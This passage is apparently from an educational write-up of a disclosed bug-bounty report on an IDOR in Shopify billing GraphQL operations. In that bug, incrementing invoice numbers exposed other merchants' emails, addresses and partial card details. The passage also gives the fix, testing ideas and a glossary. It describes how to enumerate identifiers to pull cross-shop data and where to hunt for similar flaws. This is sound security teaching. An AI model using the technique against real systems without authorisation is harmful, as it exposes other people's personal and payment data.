  • The headers do the same jobs as before: session cookie, CSRF token, shop name in Caller-Pathname, browser details, and the Pwnfox colour. The redacted values differ because this is a separate captured request.
  • Content-Length: 433: this body is much smaller than the first one, because the query text is short.
  • In the body, variables contains id, the invoice number, and documentType, set to CREDIT_NOTE. A credit note is a document that records money owed back to a customer.
  • The query asks the server to run billingDocumentDownload with those two inputs and return a job with its id, plus any userErrors. A job here means the server has accepted the request and will produce the document as a background task.

The report says this lets you download the PDF of the invoice, with different information embedded in it.

Step 3: Fetch the generated document

After replacing the cookies, the shop name and the CSRF token in the request, you access the download address:

Text
https://admin.shopify.com/store/*yourshop*/invoices/*theid*/download.html?document_type=INVOICE

This is a normal web address. *yourshop* is where your own shop name goes and *theid* is where the invoice number goes. The ?document_type=INVOICE part at the end tells the server which kind of document to serve.

The researcher notes that the PDF invoice displays their own first name and last name, but displays the other merchant's email and full address. In other words, part of the document is filled in from the session that asked for it, while the billing identity fields come from the targeted invoice. That mix is what makes the cross-shop data flow easy to see: your name on somebody else's bill.

Why it worked

The invoice number is numerical and incremental, and both operations returned data for an invoice number belonging to another shop. The report does not describe the server-side code, so the exact missing check is not shown. What is clear is that the lookup is not limited to the caller's own shop.

The requests carry a session cookie and a CSRF token, and the report shows they succeeded in returning another shop's billing data. In the hotel comparison, the key card is genuine and the guest is a paying guest; nobody checked the room number. The hasBillingSubscriptionsPermission variable only controls the subscription field and has no effect on which invoice can be read.

Impact

An attacker with any logged-in account can walk through invoice numbers and dump billing details for other merchants. The report lists the leaked data as email, full address, invoice content, the last four digits of the credit card plus the card type or the PayPal email, and the impacted shop. The researcher's impact statement says an attacker is able to dump merchants through their invoices, and the program's summary says staff could gain access to some information on other shops.

Fix

The change needed is to tie both operations to the caller: before returning an invoice from BillDetails or generating a document in BillingDocumentDownload, check that the invoice belongs to the logged-in user's shop and refuse the request otherwise. Making the numbers hard to guess would not be enough on its own, because they simply count upwards.

Other places to look

  1. Other GraphQL operations that accept a billing or invoice number: send the same number to each one and see whether the answer contains another shop's data.
  2. The documentType input: try document types other than CREDIT_NOTE and check whether the generated document belongs to another merchant.
  3. The download address: change the invoice number in /store/*yourshop*/invoices/*theid*/download.html?document_type=INVOICE and see whether a document for another shop is served.
  4. The node(id:) pattern: any query that looks up an object through a general node field is worth testing with numbers from another account, because the lookup may not be limited to your own data.

A positive result is a response or a document containing data that belongs to a shop other than the one you are logged in to.

Notes for hunting

This kind of bug tends to hide in GraphQL operations that take an object number as an input and look it up through a general node(id:) field, especially in billing, invoicing and document-generation features where the number comes from a database counter. While exploring a target, look for numbers in request bodies and addresses that go up in sequence, and for operation names that suggest access to one object at a time, such as BillDetails and BillingDocumentDownload here. The signal is a number that changes by one between your own objects.

To show enough impact, the researcher demonstrated both paths: the query that returns invoice fields, and the mutation plus download address that produces a PDF. The report also notes that the PDF shows the requester's own first name and last name but the other merchant's email and full address.

Glossary

  • API: the set of addresses and rules a program uses to ask a server for data or actions, like a restaurant menu for software.
  • GraphQL: a style of API where the request describes exactly which fields to return, using operations called queries and mutations.
  • Query: a GraphQL operation that only reads data.
  • Mutation: a GraphQL operation that changes something or triggers an action, such as generating a document.
  • Variable: an input value passed to a GraphQL operation, such as an invoice number.
  • Field: one named piece of data in a GraphQL request or response, such as email or lastDigits.
  • Fragment: a reusable group of fields in GraphQL that can be included in several places.
  • Directive: a GraphQL instruction attached to a field, such as @include, which makes the field conditional.
  • IDOR (Insecure Direct Object Reference): a bug where a program looks up an object by an identifier without checking that the person asking is allowed to see that object.
  • PII (Personally Identifiable Information): data that can identify a person, such as an email address or a full postal address.
  • Cookie: a small piece of text a browser stores for a site and sends back with each request.
  • Session cookie: the cookie that proves you are logged in, like a wristband at an event.
  • CSRF token: a secret value included in a request to prove it came from the site's own pages, not from a malicious page.
  • CSRF (Cross-Site Request Forgery): an attack where a malicious page makes your browser send a request you did not intend.
  • Header: a labelled line of extra information attached to a request or response.
  • HTTP/2: the modern version of the protocol browsers and servers use to exchange requests and responses.
  • JSON: a common text format for structured data, used for request and response bodies.
  • Endpoint: a specific address on a server that accepts requests.
  • Authentication: proving who you are, for example by logging in.
  • Authorisation: deciding what a proven user is allowed to do or see.
  • Enumeration: trying values one after another, such as invoice numbers, to find ones that return data.
  • Incremental identifier: a number that goes up by one for each new record, making it easy to guess.
  • Cross-tenant: affecting data that belongs to a different customer or shop than the one making the request.
  • CVSS: a standard scoring system for the severity of a security bug, from 0 to 10.
  • Bounty: a reward paid by a company to a researcher who reports a valid security bug.
  • Credit note: a document recording money owed back to a customer.
  • Pwnfox: a browser extension that helps testers keep different sessions and their requests visually separated.

More by blaklis

View all

1 more disclosed report, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.